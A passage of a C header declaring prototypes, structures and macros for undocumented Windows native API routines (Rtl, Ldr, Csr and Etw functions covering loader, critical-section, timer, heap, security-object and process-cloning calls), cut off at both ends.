LARGE_INTEGER Subtrahend\r\n    );\r\n*/\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlExtendedMagicDivide (\r\n    LARGE_INTEGER Dividend,\r\n    LARGE_INTEGER MagicDivisor,\r\n    CCHAR ShiftCount\r\n    );\r\n\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlExtendedLargeIntegerDivide (\r\n    LARGE_INTEGER Dividend,\r\n    ULONG Divisor,\r\n    PULONG Remainder\r\n    );\r\n\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerDivide (\r\n    LARGE_INTEGER Dividend,\r\n    LARGE_INTEGER Divisor,\r\n    PLARGE_INTEGER Remainder\r\n    );\r\n\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlExtendedIntegerMultiply (\r\n    LARGE_INTEGER Multiplicand,\r\n    LONG Multiplier\r\n    );\r\n\r\n/*\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlConvertLongToLargeInteger (\r\n    LONG SignedInteger\r\n    );\r\n\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlConvertUlongToLargeInteger (\r\n    ULONG UnsignedInteger\r\n    );\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerShiftLeft (\r\n    LARGE_INTEGER LargeInteger,\r\n    CCHAR ShiftCount\r\n    );\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerShiftRight (\r\n    LARGE_INTEGER LargeInteger,\r\n    CCHAR ShiftCount\r\n    );\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerArithmeticShift (\r\n    LARGE_INTEGER LargeInteger,\r\n    CCHAR ShiftCount\r\n    );\r\n__inline\r\nBOOLEAN\r\nNTAPI\r\nRtlCheckBit (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG BitPosition\r\n    );\r\n*/\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsValidOemCharacter (\r\n    _Inout_ PWCHAR Char\r\n    );\r\n\r\nPIMAGE_NT_HEADERS\r\nNTAPI\r\nRtlpImageNtHeader(\r\n    PVOID Base\r\n    );\r\n\r\nRTL_PATH_TYPE\r\nRtlDetermineDosPathNameType_U(\r\n\tIN PCWSTR DosFileName\r\n\t);\r\n\r\nPRTL_TRACE_DATABASE\r\nRtlTraceDatabaseCreate (\r\n    IN ULONG Buckets,\r\n    IN SIZE_T MaximumSize OPTIONAL,\r\n    IN ULONG Flags, // OPTIONAL in User mode\r\n    IN ULONG Tag,   // OPTIONAL in User mode\r\n    IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL\r\n    );\r\n\r\nBOOLEAN\r\nRtlTraceDatabaseValidate (\r\n    IN PRTL_TRACE_DATABASE Database\r\n    );\r\n\r\nBOOLEAN\r\nRtlTraceDatabaseAdd (\r\n    IN PRTL_TRACE_DATABASE Database,\r\n    IN ULONG Count,\r\n    IN PVOID * Trace,\r\n    OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL\r\n    );\r\n\r\nBOOLEAN\r\nRtlTraceDatabaseFind (\r\n    PRTL_TRACE_DATABASE Database,\r\n    IN ULONG Count,\r\n    IN PVOID * Trace,\r\n    OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL\r\n    );\r\n\r\nBOOLEAN\r\nRtlTraceDatabaseEnumerate (\r\n    PRTL_TRACE_DATABASE Database,\r\n    OUT PRTL_TRACE_ENUMERATE Enumerate,\r\n    OUT PRTL_TRACE_BLOCK * TraceBlock\r\n    );\r\n\r\nVOID\r\nRtlTraceDatabaseLock (\r\n    IN PRTL_TRACE_DATABASE Database\r\n    );\r\n\r\nVOID\r\nRtlTraceDatabaseUnlock (\r\n    IN PRTL_TRACE_DATABASE Database\r\n    );\r\n\r\nVOID\r\nRtlpGetStackLimits (\r\n    OUT PULONG_PTR LowLimit,\r\n    OUT PULONG_PTR HighLimit\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlEnterCriticalSection(\r\n    PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLeaveCriticalSection(\r\n    PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nLOGICAL\r\nNTAPI\r\nRtlIsCriticalSectionLocked (\r\n    IN PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nLOGICAL\r\nNTAPI\r\nRtlIsCriticalSectionLockedByThread (\r\n    IN PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlGetCriticalSectionRecursionCount (\r\n    IN PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nLOGICAL\r\nNTAPI\r\nRtlTryEnterCriticalSection(\r\n    PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitializeCriticalSection(\r\n    PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlEnableEarlyCriticalSectionEventCreation(\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitializeCriticalSectionAndSpinCount(\r\n    PRTL_CRITICAL_SECTION CriticalSection,\r\n    ULONG SpinCount\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlSetCriticalSectionSpinCount(\r\n    PRTL_CRITICAL_SECTION CriticalSection,\r\n    ULONG SpinCount\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteCriticalSection(\r\n    PRTL_CRITICAL_SECTION CriticalSection\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrDisableThreadCalloutsForDll (\r\n    IN PVOID DllHandle\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrLoadDll(\r\n\tIN OPTIONAL PWSTR DllPath,\r\n\tIN OPTIONAL PULONG DllCharacteristics,\r\n\tIN PUNICODE_STRING DllName,\r\n\tOUT PVOID *DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrUnloadDll(\r\n\tIN PVOID DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrGetDllHandle(\r\n\tIN OPTIONAL PWSTR DllPath,\r\n\tIN OPTIONAL PULONG DllCharacteristics,\r\n\tIN PUNICODE_STRING DllName,\r\n\tOUT PVOID *DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrGetDllHandleEx(\r\n\tIN ULONG Flags,\r\n\tIN OPTIONAL PCWSTR DllPath,\r\n\tIN OPTIONAL PULONG DllCharacteristics,\r\n\tIN PUNICODE_STRING DllName,\r\n\tOUT OPTIONAL PVOID *DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrGetDllHandleByMapping(\r\n\tIN PVOID Base,\r\n\tOUT PVOID *DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrGetDllHandleByName(\r\n\tIN OPTIONAL PUNICODE_STRING BaseDllName,\r\n\tIN OPTIONAL PUNICODE_STRING FullDllName,\r\n\tOUT PVOID *DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrAddRefDll(\r\n\tIN ULONG Flags,\r\n\tIN PVOID DllHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrGetProcedureAddress(\r\n\tIN PVOID DllHandle,\r\n\tIN OPTIONAL PANSI_STRING ProcedureName,\r\n\tIN OPTIONAL ULONG ProcedureNumber,\r\n\tOUT PVOID *ProcedureAddress\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrGetProcedureAddressEx(\r\n\tIN PVOID DllHandle,\r\n\tIN OPTIONAL PANSI_STRING ProcedureName,\r\n\tIN OPTIONAL ULONG ProcedureNumber,\r\n\tOUT PVOID *ProcedureAddress,\r\n\tIN ULONG Flags\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrLockLoaderLock(\r\n\tIN ULONG Flags,\r\n\tOUT OPTIONAL ULONG *Disposition,\r\n\tOUT PVOID *Cookie\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrRelocateImage(\r\n\tIN PVOID NewBase,\r\n\tIN PSTR LoaderName,\r\n\tIN NTSTATUS Success,\r\n\tIN NTSTATUS Conflict,\r\n\tIN NTSTATUS Invalid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrRelocateImageWithBias(\r\n\tIN PVOID NewBase,\r\n\tIN LONGLONG Bias,\r\n\tIN PSTR LoaderName,\r\n\tIN NTSTATUS Success,\r\n\tIN NTSTATUS Conflict,\r\n\tIN NTSTATUS Invalid\r\n\t);\r\n\r\nPIMAGE_BASE_RELOCATION\r\nNTAPI\r\nLdrProcessRelocationBlock(\r\n\tIN ULONG_PTR VA,\r\n\tIN ULONG SizeOfBlock,\r\n\tIN PUSHORT NextOffset,\r\n\tIN LONG_PTR Diff\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nLdrVerifyMappedImageMatchesChecksum(\r\n\tIN PVOID BaseAddress,\r\n\tIN SIZE_T NumberOfBytes,\r\n\tIN ULONG FileLength\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrQueryModuleServiceTags(\r\n\tIN PVOID DllHandle,\r\n\tOUT PULONG ServiceTagBuffer,\r\n\t_Inout_ PULONG BufferSize\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrRegisterDllNotification(\r\n\tIN ULONG Flags,\r\n\tIN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,\r\n\tIN PVOID Context,\r\n\tOUT PVOID *Cookie\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrUnregisterDllNotification(\r\n\tIN PVOID Cookie\r\n\t);\r\n\r\nULONG\r\nNTAPI\r\nCsrGetProcessId(\r\n\t);\r\n\r\nvoid\r\nNTAPI\r\nA_SHAFinal(\r\n\tPSHA_CTX Context,\r\n\tPULONG Result\r\n\t);\r\n\r\n\r\nPVOID\r\nNTAPI\r\nA_SHAUpdate(\r\n\t_Inout_ PSHA_CTX,\r\n\tIN PCHAR,\r\n\tIN UINT\r\n\t);\r\n\r\nPVOID\r\nNTAPI\r\nA_SHAInit(\r\n\t_Inout_ PSHA_CTX,\r\n\tOUT PVOID\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlDosPathNameToNtPathName_U(\r\n    IN PCWSTR DosFileName,\r\n    OUT PUNICODE_STRING NtFileName,\r\n    OUT PWSTR *FilePart OPTIONAL,\r\n    PVOID Reserved\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDosPathNameToNtPathName_U_WithStatus(\r\n    IN PCWSTR DosFileName,\r\n    OUT PUNICODE_STRING NtFileName,\r\n    OUT PWSTR *FilePart OPTIONAL,\r\n    PVOID Reserved // Must be NULL\r\n\t);\r\n\r\nPVOID\r\nNTAPI\r\nRtlAddVectoredExceptionHandler (\r\n    IN ULONG First,\r\n    IN PVECTORED_EXCEPTION_HANDLER Handler\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlAddVectoredContinueHandler (\r\n    IN ULONG First,\r\n    IN PVECTORED_EXCEPTION_HANDLER Handler\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAnalyzeProfile (\r\n    VOID\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlCallVectoredContinueHandlers (\r\n    IN PEXCEPTION_RECORD ExceptionRecord,\r\n    IN PCONTEXT ContextRecord\r\n    );\r\n\r\nPVOID\r\nRtlEncodePointer(\r\n     PVOID Ptr\r\n     );\r\n\r\nPVOID\r\nRtlDecodePointer(\r\n     PVOID Ptr\r\n     );\r\n\r\nPVOID\r\nRtlEncodeSystemPointer(\r\n     PVOID Ptr\r\n     );\r\n\r\nPVOID\r\nRtlDecodeSystemPointer(\r\n     PVOID Ptr\r\n     );\r\n\r\nVOID\r\nNTAPI\r\nRtlDeleteResource(\r\n    PRTL_RESOURCE Resource\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteSecurityObject(\r\n    PSECURITY_DESCRIPTOR * ObjectDescriptor\r\n    );\r\n\r\nBOOLEAN\r\nRtlDllShutdownInProgress(\r\n    VOID\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlGetCurrentProcessorNumber (\r\n    VOID\r\n    );\r\n\r\n#define RTL_UNLOAD_EVENT_TRACE_NUMBER 16\r\n\r\ntypedef struct _RTL_UNLOAD_EVENT_TRACE {\r\n    PVOID BaseAddress;   // Base address of dll\r\n    SIZE_T SizeOfImage;  // Size of image\r\n    ULONG Sequence;      // Sequence number for this event\r\n    ULONG TimeDateStamp; // Time and date of image\r\n    ULONG CheckSum;      // Image checksum\r\n    WCHAR ImageName[32]; // Image name\r\n} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE;\r\n\r\ntypedef struct _RTL_UNLOAD_EVENT_TRACE64 {\r\n    ULONGLONG BaseAddress;   // Base address of dll\r\n    ULONGLONG SizeOfImage;  // Size of image\r\n    ULONG Sequence;      // Sequence number for this event\r\n    ULONG TimeDateStamp; // Time and date of image\r\n    ULONG CheckSum;      // Image checksum\r\n    WCHAR ImageName[32]; // Image name\r\n} RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64;\r\n\r\ntypedef struct _RTL_UNLOAD_EVENT_TRACE32 {\r\n    ULONG BaseAddress;   // Base address of dll\r\n    ULONG SizeOfImage;  // Size of image\r\n    ULONG Sequence;      // Sequence number for this event\r\n    ULONG TimeDateStamp; // Time and date of image\r\n    ULONG CheckSum;      // Image checksum\r\n    WCHAR ImageName[32]; // Image name\r\n} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32;\r\n\r\nPRTL_UNLOAD_EVENT_TRACE\r\nNTAPI\r\nRtlGetUnloadEventTrace(\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitializeProfile(\r\n    BOOLEAN KernelToo\r\n    );\r\n\r\ntypedef BOOLEAN\r\n(NTAPI *\r\nPRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)(\r\n    VOID\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsThreadWithinLoaderCallout (\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetLFHDebuggingInformation(\r\n\tPVOID LFHHeap,\r\n\tPHEAP_DEBUGGING_INFORMATION DebuggingInformation\r\n\t);\r\n\r\nULONG\r\nNTAPI\r\nRtlMultipleAllocateHeap (\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN SIZE_T Size,\r\n    IN ULONG Count,\r\n    OUT PVOID * Array\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlMultipleFreeHeap (\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN ULONG Count,\r\n    OUT PVOID * Array\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlNewSecurityObjectEx (\r\n    IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL,\r\n    IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL,\r\n    OUT PSECURITY_DESCRIPTOR * NewDescriptor,\r\n    IN GUID *ObjectType OPTIONAL,\r\n    IN BOOLEAN IsDirectoryObject,\r\n    IN ULONG AutoInheritFlags,\r\n    IN HANDLE Token,\r\n    IN PGENERIC_MAPPING GenericMapping\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlNewSecurityObjectWithMultipleInheritance (\r\n    IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL,\r\n    IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL,\r\n    OUT PSECURITY_DESCRIPTOR * NewDescriptor,\r\n    IN GUID **pObjectType OPTIONAL,\r\n    IN ULONG GuidCount,\r\n    IN BOOLEAN IsDirectoryObject,\r\n    IN ULONG AutoInheritFlags,\r\n    IN HANDLE Token,\r\n    IN PGENERIC_MAPPING GenericMapping\r\n    );\r\n\r\n#if !defined(_WINDOWS_)\r\nNTSTATUS\r\nNTAPI\r\nRtlSetHeapInformation (\r\n    IN PVOID HeapHandle,\r\n    IN HEAP_INFORMATION_CLASS HeapInformationClass,\r\n    IN PVOID HeapInformation OPTIONAL,\r\n    IN SIZE_T HeapInformationLength OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryHeapInformation (\r\n    IN PVOID HeapHandle,\r\n    IN HEAP_INFORMATION_CLASS HeapInformationClass,\r\n    OUT PVOID HeapInformation OPTIONAL,\r\n    IN SIZE_T HeapInformationLength OPTIONAL,\r\n    OUT PSIZE_T ReturnLength OPTIONAL\r\n    );\r\n#endif\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQuerySecurityObject (\r\n     PSECURITY_DESCRIPTOR ObjectDescriptor,\r\n     SECURITY_INFORMATION SecurityInformation,\r\n     PSECURITY_DESCRIPTOR ResultantDescriptor,\r\n     ULONG DescriptorLength,\r\n     PULONG ReturnLength\r\n     );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlRegisterWait(\r\n    OUT PHANDLE WaitHandle,\r\n    IN  HANDLE  Handle,\r\n    IN  WAITORTIMERCALLBACKFUNC Function,\r\n    IN  PVOID Context,\r\n    IN  ULONG  Milliseconds,\r\n    IN  ULONG  Flags\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlRemoveVectoredContinueHandler (\r\n    IN PVOID Handle\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlRemoveVectoredExceptionHandler (\r\n    IN PVOID Handle\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetIoCompletionCallback(\r\n    IN  HANDLE  FileHandle,\r\n    IN  APC_CALLBACK_FUNCTION  CompletionProc,\r\n    IN  ULONG Flags\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetSecurityObject(\r\n    SECURITY_INFORMATION SecurityInformation,\r\n    PSECURITY_DESCRIPTOR ModificationDescriptor,\r\n    PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor,\r\n    PGENERIC_MAPPING GenericMapping,\r\n    HANDLE Token\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetSecurityObjectEx(\r\n    IN SECURITY_INFORMATION SecurityInformation,\r\n    IN PSECURITY_DESCRIPTOR ModificationDescriptor,\r\n    _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor,\r\n    IN ULONG AutoInheritFlags,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN HANDLE Token OPTIONAL\r\n    );\r\n\r\ntypedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) (\r\n    struct _EXCEPTION_POINTERS *ExceptionInfo\r\n    );\r\n\r\ntypedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER;\r\n\r\nVOID\r\nRtlSetUnhandledExceptionFilter (\r\n    PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlStartProfile (\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlStopProfile (\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nRtlWow64EnableFsRedirection(\r\n    IN BOOLEAN Wow64FsEnableRedirection\r\n    );\r\n\r\n\r\nNTSTATUS\r\nRtlWow64EnableFsRedirectionEx(\r\n    IN PVOID Wow64FsEnableRedirection,\r\n    OUT PVOID *OldFsRedirectionLevel\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlRegisterWait(\r\n    OUT PHANDLE WaitHandle,\r\n    IN  HANDLE  Handle,\r\n    IN  WAITORTIMERCALLBACKFUNC Function,\r\n    IN  PVOID Context,\r\n    IN  ULONG  Milliseconds,\r\n    IN  ULONG  Flags\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeregisterWait(\r\n    IN HANDLE WaitHandle\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeregisterWaitEx(\r\n    IN HANDLE WaitHandle,\r\n    IN HANDLE Event\r\n    );\r\n\r\n#define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length)))\r\n#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length))\r\n#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length))\r\n#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length))\r\n#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))\r\n\r\nNTSTATUS NTAPI RtlCopyMappedMemory (\r\n    PVOID       pDest,\r\n    CONST PVOID pSrc,\r\n    SIZE_T      bytesToCopy\r\n);\r\n\r\ntypedef\r\nVOID\r\n(*PKNORMAL_ROUTINE)\r\n(IN PVOID NormalContext,\r\n IN PVOID SystemArgument1,\r\n IN PVOID SystemArgument2\r\n );\r\n\r\nVOID\r\nKiUserCallbackDispatcher(\r\n\tIN ULONG ApiNumber,\r\n\tIN PVOID InputBuffer,\r\n\tIN ULONG INputLength\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nCsrClientConnectToServer(\r\n    IN PWSTR ObjectDirectory,\r\n    IN ULONG ServertDllIndex,\r\n    IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL,\r\n    IN PVOID ConnectionInformation,\r\n    _Inout_ PULONG ConnectionInformationLength OPTIONAL,\r\n    OUT PBOOLEAN CalledFromServer OPTIONAL\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nCsrClientCallServer(\r\n    _Inout_ PCSR_API_MSG m,\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL,\r\n    IN CSR_API_NUMBER ApiNumber,\r\n    IN ULONG ArgLength\r\n    );\r\n\r\n\r\nPCSR_CAPTURE_HEADER\r\nNTAPI\r\nCsrAllocateCaptureBuffer(\r\n    IN ULONG CountMessagePointers,\r\n    IN ULONG CountCapturePointers,\r\n    IN ULONG Size\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nCsrFreeCaptureBuffer(\r\n    IN PCSR_CAPTURE_HEADER CaptureBuffer\r\n    );\r\n\r\n\r\nULONG\r\nNTAPI\r\nCsrAllocateMessagePointer(\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer,\r\n    IN ULONG Length,\r\n    OUT PVOID *Pointer\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nCsrCaptureMessageBuffer(\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer,\r\n    IN PVOID Buffer OPTIONAL,\r\n    IN ULONG Length,\r\n    OUT PVOID *CapturedBuffer\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nCsrCaptureMessageString(\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer,\r\n    IN PCSTR String,\r\n    IN ULONG Length,\r\n    IN ULONG MaximumLength,\r\n    OUT PSTRING CapturedString\r\n    );\r\n\r\nPLARGE_INTEGER\r\nNTAPI\r\nCsrCaptureTimeout(\r\n    IN ULONG Milliseconds,\r\n    OUT PLARGE_INTEGER Timeout\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nCsrProbeForWrite(\r\n    IN PVOID Address,\r\n    IN ULONG Length,\r\n    IN ULONG Alignment\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nCsrProbeForRead(\r\n    IN PVOID Address,\r\n    IN ULONG Length,\r\n    IN ULONG Alignment\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nCsrNewThread(\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nCsrIdentifyAlertableThread(\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nCsrSetPriorityClass(\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PULONG PriorityClass\r\n    );\r\n\r\n//added 20/03/2011\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateProcessReflection(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN ULONG Flags,\r\n\tIN OPTIONAL PVOID StartRoutine,\r\n\tIN OPTIONAL PVOID StartContext,\r\n\tIN OPTIONAL HANDLE EventHandle,\r\n\tOUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCloneUserProcess(\r\n\tIN ULONG ProcessFlags,\r\n\tIN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,\r\n\tIN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\r\n\tIN OPTIONAL HANDLE DebugPort,\r\n\tOUT PRTL_USER_PROCESS_INFORMATION ProcessInformation\r\n\t);\r\n\r\n\r\nVOID\r\nNTAPI\r\nLdrShutdownProcess(\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryProcessModuleInformation(\r\n    IN HANDLE hProcess OPTIONAL,\r\n    IN ULONG Flags,\r\n    _Inout_ PRTL_DEBUG_INFORMATION Buffer\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryProcessBackTraceInformation(\r\n    _Inout_ PRTL_DEBUG_INFORMATION Buffer\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryProcessHeapInformation(\r\n    _Inout_ PRTL_DEBUG_INFORMATION Buffer\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryProcessLockInformation(\r\n    _Inout_ PRTL_DEBUG_INFORMATION Buffer\r\n    );\r\n\r\nPRTL_DEBUG_INFORMATION\r\nNTAPI\r\nRtlCreateQueryDebugBuffer(\r\n    IN ULONG MaximumCommit OPTIONAL,\r\n    IN BOOLEAN UseEventPair\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyQueryDebugBuffer(\r\n    IN PRTL_DEBUG_INFORMATION Buffer\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryProcessDebugInformation(\r\n    IN HANDLE UniqueProcessId,\r\n    IN ULONG Flags,\r\n    _Inout_ PRTL_DEBUG_INFORMATION Buffer\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateTimer(\r\n    IN HANDLE TimerQueueHandle,\r\n    OUT HANDLE *Handle,\r\n    IN WAITORTIMERCALLBACKFUNC Function,\r\n    IN PVOID Context,\r\n    IN ULONG DueTime,\r\n    IN ULONG Period,\r\n    IN ULONG Flags\r\n    );\r\n\r\nNTSTATUS NTAPI RtlCreateTimerQueue(\r\n    PHANDLE TimerQueueHandle\r\n);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpdateTimer(\r\n    IN HANDLE TimerQueueHandle,\r\n    IN HANDLE TimerHandle,\r\n    IN ULONG  DueTime,\r\n    IN ULONG  Period\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteTimer(\r\n    IN HANDLE TimerQueueHandle,\r\n    IN HANDLE TimerToCancel,\r\n    IN HANDLE Event\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteTimerQueue(\r\n    IN HANDLE TimerQueueHandle\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteTimerQueueEx(\r\n    IN HANDLE TimerQueueHandle,\r\n    IN HANDLE Event\r\n    );\r\n\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlDoesFileExists_U(\r\n    PCWSTR FileName\r\n    );\r\n\r\n\r\nULONG\r\nRtlGetCurrentDirectory_U(\r\n\tULONG nBufferLength,\r\n\tPWSTR lpBuffer\r\n\t);\r\n\r\nNTSTATUS\r\nRtlSetCurrentDirectory_U(\r\n\tPUNICODE_STRING PathName\r\n\t);\r\n\r\n\r\nULONG\r\nRtlDosSearchPath_U(\r\n\tIN PWSTR lpPath,\r\n\tIN PWSTR lpFileName,\r\n\tIN PWSTR lpExtension OPTIONAL,\r\n\tIN ULONG nBufferLength,\r\n\tOUT PWSTR lpBuffer,\r\n\tOUT PWSTR *lpFilePart\r\n\t);\r\n\r\n\r\nvoid\r\nNTAPI\r\nRtlInitString(\r\n    PSTRING DestinationString,\r\n    PCSZ SourceString\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlGetFullPathName_U(\r\n    IN PCWSTR lpFileName,\r\n    IN ULONG nBufferLength,\r\n    OUT PWSTR lpBuffer,\r\n    OUT OPTIONAL PWSTR *lpFilePart\r\n    );\r\n\r\nLONG\r\nNTAPI\r\nRtlCompareString(\r\n    const STRING * String1,\r\n    const STRING * String2,\r\n    BOOLEAN CaseInSensitive\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrRegisterDllNotification(\r\n\tIN ULONG Flags,\r\n\tIN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,\r\n\tIN PVOID Context,\r\n\tOUT PVOID *Cookie\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrUnregisterDllNotification(\r\n\tIN PVOID Cookie\r\n\t);\r\n\r\n\r\nULONG\r\nNTAPI\r\nEtwRegisterSecurityProvider();\r\n\r\nULONG\r\nNTAPI\r\nEtwWriteUMSecurityEvent(\r\n    PCEVENT_DESCRIPTOR EventDescriptor,\r\n    USHORT 